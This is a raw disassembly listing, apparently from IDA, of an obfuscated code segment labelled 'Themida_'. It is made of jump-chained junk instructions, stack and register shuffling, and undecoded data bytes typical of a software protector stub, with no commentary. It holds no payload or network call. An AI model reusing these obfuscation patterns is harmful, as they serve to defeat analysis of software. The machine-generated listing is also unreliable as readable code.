		add	edi, 6DFB15A7h
		sub	edx, edi
		pop	edi
		and	edx, 145D155Eh
		jmp	loc_562681
; ---------------------------------------------------------------------------
		db 0BFh, 3Ch, 71h
		dd 0F9295A8Dh, 67E9815Fh, 0C161DB36h, 0BD5502E1h, 1, 0E95DE901h
		dd 0D11h
; ---------------------------------------------------------------------------


loc_56F0B4:				; CODE XREF: Themida_:0056D9E2j
		add	esi, 7C9B468Fh
		or	edi, esi
		jmp	loc_56641F
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0E924248Bh, 1A1Fh, 4BBh, 0FFDA0100h,	685B2434h, 1C23h
		dd 89243C89h, 4C781E7h,	81000000h, 4C7h, 74FF5700h, 81E90424h
		dd 5CFFFF59h, 4C481h, 0C870000h, 24248B24h, 0FF2434FFh
		dd 68582434h, 39BBh, 0E9242C89h, 0FFFFD16Bh, 0C181E189h
		dd 4, 0A6685056h, 585B7126h, 6829E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F12E:				; CODE XREF: Themida_:00572E38j
		mov	edx, 4
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_572CB9
; ---------------------------------------------------------------------------
		db 0B3h, 29h, 28h
		dd 24148BF3h, 4C481h, 82C0000h,	0FF5479E9h, 2C483FFh, 245C0166h
		dd 1C8B6602h, 5731E924h, 0C4830000h, 2B6D6804h,	1C890000h
		dd 6C79E924h, 5E5D0000h, 8BD5315Fh, 0C4832414h,	5DE80104h
		dd 0AD02E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F186:				; CODE XREF: Themida_:0056BD1Bj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		push	85D1D6Fh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_57548C
; ---------------------------------------------------------------------------


loc_56F19D:				; CODE XREF: Themida_:0056C9D9j
		push	6A4Ah
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_570963
; ---------------------------------------------------------------------------
		dd 136CEBBAh, 1EA8348h,	3AA8BE56h, 44E900C4h, 52FFFF53h
		dd 5A7E9h, 81E68900h, 4ECh, 61F1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56F1D6:				; CODE XREF: Themida_:0056159Fj
		pop	ebp
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, ebx
		jmp	loc_575DC6
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 0ACh
		dd 0C1378A04h, 0C14D04EDh, 0ED8105EDh, 9750C69Ah, 89E9EE29h
		dd 0F7FFFFDEh, 0B6E945D5h, 50FFFF4Bh, 9204B1B8h, 58C78973h
		dd 0F781EFD1h, 420E7373h, 0D7F7DFF7h, 41CAE9h, 7EE98100h
		dd 14DE241h, 7EC181D9h,	5B4DE241h, 2AE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_56F23D:				; CODE XREF: Themida_:0056DCDDj
		mov	ebx, 4ECB59DCh
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56C514
; ---------------------------------------------------------------------------


loc_56F252:				; CODE XREF: Themida_:00573C99j
		pop	ebp
		jmp	loc_56BCF8
; ---------------------------------------------------------------------------
		dd 5BD8295Dh, 0B60F66h,	29696866h, 24048966h, 0FFA470E9h
		dd 5E8D1FFh, 87CFE54h, 5F58C601h, 5C243487h, 51C8BF0Fh
		dd 5157E189h, 0B741E953h, 0CCBBFFFFh, 21121D02h, 0F4E95BD9h
		dd 0FFFFFFC9h, 835F2434h, 0C30104C4h, 0FF6F3CE9h, 4EC83FFh
		dd 52243489h, 0D45C71BAh, 0E9D68972h, 0FFFF8CDFh
; ---------------------------------------------------------------------------


loc_56F2B8:				; CODE XREF: Themida_:005745CEj
		mov	ebp, edx
		pop	edx
		xor	ebp, 2F2B8Fh
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		push	ebx
		jmp	loc_56DAAD
; ---------------------------------------------------------------------------


loc_56F2D0:				; CODE XREF: Themida_:00569EA6j
		not	ebp
		add	ebp, 56F9177Ah
		jmp	loc_574D25
; ---------------------------------------------------------------------------


loc_56F2DD:				; CODE XREF: Themida_:005716A0j
		mov	eax, 53A9266Ah
		jmp	loc_565305
; ---------------------------------------------------------------------------
		db 50h
		dd 0C968E953h, 0C681FFFFh, 4, 0E9243487h, 0FFFFCAD3h, 0E940478Fh
		dd 1BE2h, 5424248Bh, 0FFFA66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F30D:				; CODE XREF: Themida_:0056133Bj
		add	eax, 0FFFFFFFFh
		jmp	loc_56EB8D
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0DA010000h, 2414335Bh, 0FF8A80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F325:				; CODE XREF: Themida_:00569FEBj
		mov	esi, 8456D984h
		xor	ecx, esi
		pop	esi
		add	ebp, 34F87050h
		jmp	loc_573159
; ---------------------------------------------------------------------------


loc_56F338:				; CODE XREF: Themida_:00572ED3j
		add	ebx, edi
		sub	ebx, 6C162DF3h
		jmp	loc_569FC8
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF5F22E9h, 241C89FFh, 0E751E168h, 0BFAFE92Ah, 0D568FFFFh
		dd 0E9000028h, 0FFFF3F57h, 0C6FED6F6h, 6AF6E9h,	101ABF00h
		dd 7C0161E0h, 5D5F0C24h, 4246C81h, 687B1217h, 5B5CE9h
		dd 24248B00h, 45C2B951h, 77E96E97h, 28FFFF69h, 8B2A04F0h
		dd 0C4812414h, 4, 4EC81h, 4890000h, 0B770E924h,	68FFFFh
		dd 29000000h, 815A2414h, 669B18F2h, 5AD501AEh, 4C581h
		dd 2C330000h, 242C3124h, 0FF319BE9h, 24348BFFh,	4C481h
		dd 525E0000h, 72126851h, 0E9594779h, 0FFFF732Bh
; ---------------------------------------------------------------------------


loc_56F3E8:				; CODE XREF: Themida_:0056B2F1j
		add	ecx, edi
		sub	ecx, 4D143FE9h
		jmp	loc_56A4C5
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 5
		dd 7C763BFBh, 158C389h,	241C8BD8h, 81E68956h, 4C6h, 1145E900h
		dd 23680000h, 8900004Ch, 0E389241Ch, 4BD55h, 0EB010000h
		dd 5D2434FFh, 4B86E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56F42E:				; CODE XREF: Themida_:0056CE7Bj
		add	ebx, 0AEB65FB6h
		and	edx, ebx
		pop	ebx
		xor	edx, 4D833000h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, edi
		add	ebx, 17C3305Ah
		mov	edi, [esp]
		add	esp, 4
		push	4C4Dh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_567523
; ---------------------------------------------------------------------------


loc_56F46A:				; CODE XREF: Themida_:00571803j
		pop	ebx
		pop	edx
		push	edx
		push	233B0ACBh
		pop	edx
		or	edx, 59EB4463h
		dec	edx
		inc	edx
		xor	edx, 35301737h
		add	eax, edx
		pop	edx
		jmp	loc_56DCD3
; ---------------------------------------------------------------------------
		db 68h,	56h, 6Bh
		dd 5F680000h, 8900007Ah, 0E8E92424h, 5FFFFF5Ah,	535DEA29h
		dd 0C5774DBBh, 0E9DA0969h, 0FFFF8BF0h, 63E4E581h, 814555E6h
		dd 70120F5h, 5DEA3160h,	38D9CA81h, 2EE91196h, 89000043h
		dd 74FF2404h, 0E9580424h, 0FFFF74FFh
; ---------------------------------------------------------------------------


loc_56F4D4:				; CODE XREF: Themida_:00567F70j
		mov	[esp], esi
		mov	esi, 0B1D0F2Ah
		add	esi, 57C01BF7h
		jmp	loc_56650E
; ---------------------------------------------------------------------------


loc_56F4E7:				; CODE XREF: Themida_:0057337Ej
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56FD09
; ---------------------------------------------------------------------------


loc_56F4FC:				; CODE XREF: Themida_:005616C4j
		mov	esi, [esp]
		add	esp, 4
		shr	ebp, 8
		shr	ebp, 8
		push	edi
		push	ecx
		jmp	loc_573A89
; ---------------------------------------------------------------------------


loc_56F512:				; CODE XREF: Themida_:0056EF0Ej
		mov	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		pop	edi
		push	edi
		mov	edi, 35A70583h
		not	edi
		jmp	loc_574B08
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 19A403DCh, 0E959CB31h, 527Fh
; ---------------------------------------------------------------------------


loc_56F534:				; CODE XREF: Themida_:00561DD0j
		sub	edx, 14E51287h
		add	edx, 59A678D8h
		add	[edx], ebx
		pop	edx
		jmp	loc_576987
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 2896664h,	0FF1AEDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F555:				; CODE XREF: Themida_:00569E83j
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_56FD51
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 2C9768h, 241C8900h, 26E9E389h, 88FFFFF2h
		dd 0B1C6E9F9h, 0F268FFFFh, 89000042h, 47BE2434h, 0E95B3932h
		dd 0FFFFEAF9h
; ---------------------------------------------------------------------------


loc_56F590:				; CODE XREF: Themida_:00565FECj
		mov	[esp], ebp
		jmp	loc_56740A
; ---------------------------------------------------------------------------
aLS		db '‹,$éÅ',0Dh,0
		align 10h


loc_56F5A0:				; CODE XREF: Themida_:005726A5j
		sub	esi, eax
		add	esi, 3285573Ah
		add	esi, 1C401511h
		add	esi, 0ADE3B1Eh
		pop	eax
		add	esi, 3E7E5BA6h
		sub	esp, 4
		jmp	loc_568A4F
; ---------------------------------------------------------------------------
aIuhja		db '‰ãhjA',0
		dd 24148900h, 0FF2475E9h, 0C0D00CFFh, 1D3402E8h, 0C0FE3B24h
		dd 0C6282C34h, 0C9E95158h, 0E9000026h, 0FFFF1A52h, 24348B66h
		dd 2C481h, 8F660000h, 3FE92404h
		db 1Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F603:				; CODE XREF: Themida_:0056609Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	bl, 68h
		jmp	loc_5654A6
; ---------------------------------------------------------------------------


loc_56F612:				; CODE XREF: Themida_:0056CD74j
		push	343B11B8h
		pop	ebp
		add	ebp, 0CBC4EE4Ch
		push	ebp
		add	dword ptr [esp], 79385781h
		jmp	loc_5716C8
; ---------------------------------------------------------------------------
		db 57h
		dd 0B850E789h, 4, 0FF899CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F639:				; CODE XREF: Themida_:00574460j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_561042
; ---------------------------------------------------------------------------
		db 81h
		dd 87FB71C7h, 566805DFh, 0F8010618h, 1856682Dh,	3D96E906h
		dd 0C481FFFFh, 4, 148BD601h, 4C48324h, 0BAB95155h, 4905FA15h
		dd 0FF55D6E9h, 0FED7F6FFh, 0B3B450C7h, 30C3EC80h, 4005E9E7h
		dd 0C1B7FFFFh, 0B252D7F6h, 4CF28088h, 2E9D720h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F69F:				; CODE XREF: Themida_:0056D056j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_571B96
; ---------------------------------------------------------------------------


loc_56F6AA:				; CODE XREF: Themida_:0056D557j
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_575053
; ---------------------------------------------------------------------------
		dd 0E942D687h, 0FFFFAC9Fh
; ---------------------------------------------------------------------------


loc_56F6C0:				; CODE XREF: Themida_:005747AEj
		sub	esp, 4
		jmp	loc_56C3AE
; ---------------------------------------------------------------------------
		dd 79377FBEh, 5EF18908h, 8159CB29h, 0CF618EEBh,	84E95E37h
		dd 68FFFF87h, 4193h, 0FF3E47E9h, 240489FFh, 4055854h, 2D000000h
		dd 4, 31240433h, 4332404h, 24248B24h, 50242489h, 4B8h
		dd 24440100h, 7A20E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F716:				; CODE XREF: Themida_:00564FB3j
		mov	ecx, 7E2679C1h
		jmp	loc_56A18A
; ---------------------------------------------------------------------------
		dd 68242C89h, 1DB4CDEh,	12E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_56F72D:				; CODE XREF: Themida_:0056AD40j
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	ebx
		mov	bl, 0C9h
		jmp	loc_573A7E
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 0E92434FFh, 0FFFF6941h, 357FEA81h, 0F28150C4h, 22E278F8h
		dd 5BE9D2F7h, 89000036h, 0B850243Ch, 160866B9h,	0E958C789h
		dd 0C64h, 0EBE9E289h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F777:				; CODE XREF: Themida_:00569C00j
		pop	esp
		jmp	loc_5676A7
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 3Ah
		dd 0E9A8CC80h, 0FFFFC76Ch, 5488BA52h, 0BD553288h, 34610D79h
		dd 182ECD81h, 0DDF70B97h, 0FF4136E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F7A1:				; CODE XREF: Themida_:00565E4Aj
		push	ecx
		mov	cl, 73h
		or	cl, 0C5h
		jmp	loc_572F7B
; ---------------------------------------------------------------------------


loc_56F7AC:				; CODE XREF: Themida_:0056A0E2j
		push	edx
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		push	39360E21h
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4AA83612h
		shl	edx, 1
		push	7261h
		mov	[esp], eax
		mov	eax, 46D43F1Ch
		xor	edx, eax
		pop	eax
		push	edx
		mov	edx, 29200F0Ch
		jmp	loc_56370C
; ---------------------------------------------------------------------------


loc_56F7ED:				; CODE XREF: Themida_:00571F83j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_56836B
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 37042A11h
		shl	ecx, 1
		dec	ecx
		not	ecx
		push	eax
		mov	eax, 28B854EDh
		jmp	loc_569C30
; ---------------------------------------------------------------------------


loc_56F831:				; CODE XREF: Themida_:0056D932j
		pop	edx
		push	2EB7h
		mov	[esp], esi
		push	ebx
		mov	ebx, 2289462Bh
		mov	esi, 2289462Fh
		xor	esi, ebx
		pop	ebx
		and	ecx, esi
		jmp	loc_56BB02
; ---------------------------------------------------------------------------
		db 81h
		dd 0CB2163CFh, 107EE93Fh, 0C6830000h, 24348704h, 4B9515Ch
		dd 1000000h, 240C8BC8h,	4C481h,	0BD550000h, 2, 335DE829h
		dd 4312404h, 52DDE924h,	46B00000h, 2C06E0C0h, 58C3008Ch
		dd 0FF3D21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F895:				; CODE XREF: Themida_:00562312j
		pop	ecx
		add	ebp, 1D09EB6Fh
		add	eax, 1F4E21AFh
		add	eax, ebp
		push	esi
		jmp	loc_571F56
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4BA52h, 54010000h, 8B5A0424h, 4FE9243Ch, 68FFFFA8h
		dd 4DB4239Dh, 8124348Bh, 4C4h, 0BCF68100h, 316E96ABh, 5B26E9F2h
		dd 0CD89FFFFh, 0FFDE02E9h, 6B9ABEFFh, 0BD552CD5h, 41775B6Dh
		dd 0D1ED8145h, 315E8DF3h, 242C8BEEh, 0FF9E72E9h, 5AE6BDFFh
		dd 0DDF77562h, 3212CD81h, 0EDC17822h, 0B62AE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F912:				; CODE XREF: Themida_:005758C3j
		sub	ecx, 41890B6Bh
		add	ecx, esi
		add	ecx, 41890B6Bh
		jmp	loc_56846B
; ---------------------------------------------------------------------------


loc_56F925:				; CODE XREF: Themida_:00562687j
		mov	ecx, edx
		push	dword ptr [esp]
		jmp	loc_571E1A
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 0E9505C24h, 33C0h,	4C481h,	0EB800000h, 0E9525063h
		dd 777h
; ---------------------------------------------------------------------------


loc_56F94C:				; CODE XREF: Themida_:005730B9j
		add	edx, 100FBh
		add	edx, 8CF4E9Bh
		push	dword ptr [edx]
		xor	dword ptr [esp], 542E0912h
		pop	ecx
		xor	ecx, 542E0912h
		jmp	loc_56143A
; ---------------------------------------------------------------------------
		dd offset loc_42C568
		align 2
		dw 0B7E9h
		dd 68FFFF77h, 516232A5h, 566EE958h, 4B0FFFFh, 28E5B151h
		dd 0C38059C8h, 80C3007Ch, 0F587CEBh, 34FFC0B6h,	242C8187h
		dd 64D55E7h, 0E92434FFh, 1E8Fh,	7FD5E281h, 0C28107B8h
		dd 0FBDFF504h, 148BD329h, 90E6E924h, 0E957FFFFh, 0FFFF5D0Ah
		dd 24048B66h, 41D968h, 1A2DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56F9D2:				; CODE XREF: Themida_:0056D132j
		add	esp, 4
		add	esp, 4
		jmp	loc_564321
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E95E2414h, 0FFFF754Bh
; ---------------------------------------------------------------------------


loc_56F9EC:				; CODE XREF: Themida_:00571B91j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		push	4B472BD3h
		pop	ecx
		add	ecx, 233C2FE2h
		jmp	loc_576374
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF1632h, 0FF241489h, 0E95A2404h, 0FFFF4CC6h
; ---------------------------------------------------------------------------


loc_56FA1C:				; CODE XREF: Themida_:0056D834j
		pop	eax
		push	edx
		mov	edx, esi
		push	61F7h
		mov	[esp], edx
		jmp	loc_566EA2
; ---------------------------------------------------------------------------


loc_56FA2D:				; CODE XREF: Themida_:00571789j
		not	ebp
		jmp	loc_573B8A
; ---------------------------------------------------------------------------
		dd 0E958C731h, 0FFFF7480h
; ---------------------------------------------------------------------------


loc_56FA3C:				; CODE XREF: Themida_:0056F051j
		pop	ecx
		push	3DDAh
		jmp	loc_576329
; ---------------------------------------------------------------------------


loc_56FA47:				; CODE XREF: Themida_:0056583Dj
		mov	ebx, 200000h
		jmp	loc_56AEBD
; ---------------------------------------------------------------------------


loc_56FA51:				; CODE XREF: Themida_:0056641Aj
					; Themida_:005744ACj
		sub	esp, 4
		jmp	loc_56A530
; ---------------------------------------------------------------------------


loc_56FA5C:				; CODE XREF: Themida_:00566A5Dj
		pop	esi
		neg	ebp
		push	ebx
		mov	ebx, 1DBD7B86h
		dec	ebx
		xor	ebx, 0E53E6F8Eh
		xor	ebp, ebx
		jmp	loc_565589
; ---------------------------------------------------------------------------
		db 68h
		dd 696Eh, 0BD242C89h, 6CB724ACh, 0FABB5357h, 4B7BF45Eh
		dd 7A6AE381h, 81433C42h, 665190CBh, 611CE92Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56FA9A:				; CODE XREF: Themida_:0056EC70j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 6A392845h
		add	esi, 95C6D7BFh
		add	edi, esi
		jmp	loc_562775
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 0ECE981D1h, 8B2C0659h, 54522414h, 4C2815Ah, 83000000h
		dd 148704C2h, 24248B24h, 2474FF51h, 48F5904h, 0CFE5C24h
		dd 5BE99C24h, 0C1FFFF15h, 0F38104EBh, 211E09F4h, 0FEBE5643h
		dd 29575900h, 0DA315EF3h, 986BE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FB02:				; CODE XREF: Themida_:00563022j
		not	edi
		jmp	loc_56EA94
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 22h
		dd 8124DA2Eh, 481804C6h, 5EF38923h, 15BDF31h, 71E95FF8h
		dd 89000057h, 48E9240Ch, 21FFFFFFh, 0C7815AD7h,	52EA049Eh
		dd 0C655C781h, 0E9568C05h, 2EE1h, 0E904E9C1h, 0FFFF59A7h
		dd 5D7AE95Bh, 248B0000h, 0C8B6624h, 79906824h, 4890000h
		dd 2A846824h, 21680000h, 8900000Ch, 4812424h, 424h, 24048F00h
		dd 4240481h, 0FF000000h, 48B2434h, 0E3895324h, 4C381h
		dd 0C3810000h, 4, 0E9241C87h, 528Bh, 81E38953h,	4C3h, 4EB8300h
		dd 5C241C87h, 0B9240C89h, 40h, 4EC81h, 1E90000h, 81FFFF1Ch
		dd 4C3h, 4C38100h, 53000000h, 42474FFh,	0FFBA4AE9h, 0C8B66FFh
		dd 0E0895024h, 4BF5756h, 57000000h, 0B7242C81h,	0E93FCC38h
		dd 39D9h, 81240C8Bh, 4C4h, 4C48100h, 0E9000000h, 5B0Ch
		dd 7031B9h, 2A6EBA59h, 0CA31213Eh, 0E9D72159h, 0FFFFB9BCh
		dd 0E904C483h, 0FFFF89FBh
; ---------------------------------------------------------------------------


loc_56FC1C:				; CODE XREF: Themida_:0056B4DCj
		dec	esi
		shr	esi, 6
		shr	esi, 1
		shr	esi, 6
		jmp	loc_5728A0
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0FF4F20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FC35:				; CODE XREF: Themida_:00566443j
		push	ebp
		push	esi
		mov	esi, 7807719Dh
		jmp	loc_569338
; ---------------------------------------------------------------------------


loc_56FC41:				; CODE XREF: Themida_:00566375j
		shr	bh, 7
		jmp	loc_568B79
; ---------------------------------------------------------------------------
		db 5, 45h, 46h
		dd 0D829603Dh, 3D46452Dh, 4EC8360h, 89242C89h, 4C581E5h
		dd 0E9000000h, 475Fh
; ---------------------------------------------------------------------------


loc_56FC68:				; CODE XREF: Themida_:0056CEF7j
		xor	ebx, 2E1C4ED6h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5632D8
; ---------------------------------------------------------------------------
		dw 0DEB0h
		dd 0B3E99A0Ch, 5D000050h, 4C181h, 0C870000h, 0A0E95C24h
		dd 89000054h, 1DEE68E5h, 34890000h, 4EDABE24h, 0E68150B1h
		dd 600E5D27h, 7DDD68h, 5101E900h, 1487FFFFh, 54515C24h
		dd 0E9240C8Bh, 158Ah, 7E9C15Bh,	0D6E9D9F7h, 89FFFF92h
		dd 40E9241Ch, 4FFFFCCh,	58C20001h, 6802E2C0h, 28E0h, 0B5240C89h
		dd 0D898E97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FCEE:				; CODE XREF: Themida_:0056BB2Ej
		pop	ebx
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		xchg	esi, edx
		jmp	loc_5752FD
; ---------------------------------------------------------------------------
		dd 0C3814B5Eh, 0CEE7BF9Dh, 0FF9B1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FD09:				; CODE XREF: Themida_:0056F4F7j
		mov	[esp], ebx
		jmp	loc_5633CE
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0E924248Bh, 0FFFF5034h, 0EE81D6F7h, 0EE878F4Eh, 0FFEC6BE9h
		dd 4BD55FFh, 1000000h, 0EB815DEBh, 4, 0FF45F1E9h, 0EF8158FFh
		dd 2, 5C243C87h, 241C8966h, 0FFF22BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FD51:				; CODE XREF: Themida_:0056F55Aj
		add	esp, 4
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_570D54
; ---------------------------------------------------------------------------
		db 0B1h
		dd 0BF3CE963h, 489FFFFh, 7CDF6824h, 34890000h, 71366824h
		dd 525E1825h, 9D79C9BAh, 24448121h, 2D3E9C08h, 2454011Dh
		dd 246C8108h, 2D3E9C08h, 44815A1Dh, 42EE0424h, 74295D53h
		dd 6C810424h, 42EE0424h, 0E9575D53h, 479Eh, 335BD901h
		dd 0C31240Ch, 240C3324h, 0FFC309E9h, 8AC181FFh,	173D924h
		dd 240C8BC8h, 4C481h, 68520000h, 52BCh,	0FFF93FE9h, 0DFF74FFFh
		dd 0D7F7D7F7h, 0B5F9C781h, 0F82978F9h, 543BE9h,	240C8B00h
		dd 19B8E9h, 57D1F700h, 17B2BD55h, 0EF897D0Eh, 0D3C7815Dh
		dd 0E933C24Dh, 5377h
; ---------------------------------------------------------------------------


loc_56FE14:				; CODE XREF: Themida_:005630C6j
		add	esi, 373C2382h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1E0D4A36h
		sub	esi, ecx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_562C06
; ---------------------------------------------------------------------------


loc_56FE36:				; CODE XREF: Themida_:0056BEDDj
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_56AAED
; ---------------------------------------------------------------------------


loc_56FE41:				; CODE XREF: Themida_:00563F67j
		not	edx
		jmp	loc_56502D
; ---------------------------------------------------------------------------
		dd 0CBE9C601h, 29000027h, 0EB815AD3h, 36112FDh,	0FFB3D6E9h
		dd 4EC81FFh, 0E9000000h, 0FFFFD54Ch, 0E95FF989h, 0FFFF3D7Ah
		dd 0BB241C89h, 3ED84169h, 0FF3C04E9h, 5BDA01FFh, 1702E958h
		dd 3487FFFFh, 0B9515C24h, 4, 34FFCD01h
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_56EEEA
; ---------------------------------------------------------------------------


loc_56FEAA:				; CODE XREF: Themida_:00575B1Fj
		mov	edi, 79CB70D7h
		xor	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 2975005Ah
		sub	edi, ecx
		jmp	loc_570D89
; ---------------------------------------------------------------------------
		db 89h
		dd 32E953E6h, 89FFFF13h, 0CB0158C1h, 81240C8Bh,	4C4h, 4C38300h
		dd 5C241C87h, 3302C783h, 3C31243Ch, 243C3324h, 2424D25Ch
		dd 1150E99Ch, 0F189FFFFh, 0F7D9875Eh, 81D987D3h, 4508B6F1h
		dd 78B85053h, 401A931Dh, 0BD08482Dh, 2E8C11Eh, 0FFE62BE9h
		dd 895352FFh, 5BDA89CBh, 0FF3068E9h, 629068FFh,	0D4680000h
		dd 89000063h, 4832424h,	0FCE90424h, 80FFFF8Ah, 0C58027CDh
		dd 59E8009Fh, 8E2CF800h, 0FF8953E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FF49:				; CODE XREF: Themida_:005673E3j
		push	ebp
		mov	ebp, edx
		mov	ecx, ebp
		pop	ebp
		pop	edx
		jmp	loc_56F056
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 8
		dd 33AECD81h, 0F5814FE2h, 0DFF7BFACh, 875DEA01h, 248B2414h
		dd 0C8B6624h, 6AA6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56FF76:				; CODE XREF: Themida_:00575577j
		mov	[esp], edi
		jmp	loc_57195B
; ---------------------------------------------------------------------------
		dw 0F801h
a_sY		db '_é Y',0
		align 2


loc_56FF86:				; CODE XREF: Themida_:00566BDDj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56B905
; ---------------------------------------------------------------------------


loc_56FF94:				; CODE XREF: Themida_:00576135j
		jmp	loc_561042
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0FAh
		dd 4B72187Bh, 9762F381h, 0D901E209h, 4E9815Bh, 87000000h
		dd 53E9240Ch
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FFB7:				; CODE XREF: Themida_:005714A8j
		mov	ebx, [esp]
		jmp	loc_57654C
; ---------------------------------------------------------------------------


loc_56FFBF:				; CODE XREF: Themida_:0057209Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_569749
; ---------------------------------------------------------------------------
aAilps4		db '€ëLPé4',0Ah,0
		align 10h
		dd 720BCF81h, 0DFF744B9h, 8C3EF81h, 0FE099691h,	7AE6815Fh
		dd 8154F05Dh, 90678BCEh, 81D6F770h, 0F07000C6h,	8BF30174h
		dd 89522434h, 4C281E2h,	81000000h, 4C2h, 24143300h, 625EE9h
		dd 24048900h, 405E089h,	55000000h, 4BDh, 7FB22D00h, 0E8016A47h
		dd 477FB205h, 86E95D6Ah, 89FFFFAAh, 2BF243Ch, 1000000h
		dd 0C875FF9h, 24248B24h, 2EC81h, 89660000h, 0EC83240Ch
		dd 242C8904h, 0C5815D54h, 4, 932EE952h,	48FFFFFh, 24248B24h
		dd 0E904EC83h, 0FFFFFC4Fh
; ---------------------------------------------------------------------------


loc_570080:				; CODE XREF: Themida_:005610CEj
		add	ebp, 3CF20A7Ch
		add	ebp, 2A420817h
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5682EF
; ---------------------------------------------------------------------------


loc_570098:				; CODE XREF: Themida_:00564379j
		add	ebp, 0C83239Bh
		sub	ebp, 0D1ECF6E8h
		sub	ecx, ebp
		pop	ebp
		xor	ecx, 0B9D9FECCh
		jmp	loc_574A6E
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 2716E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


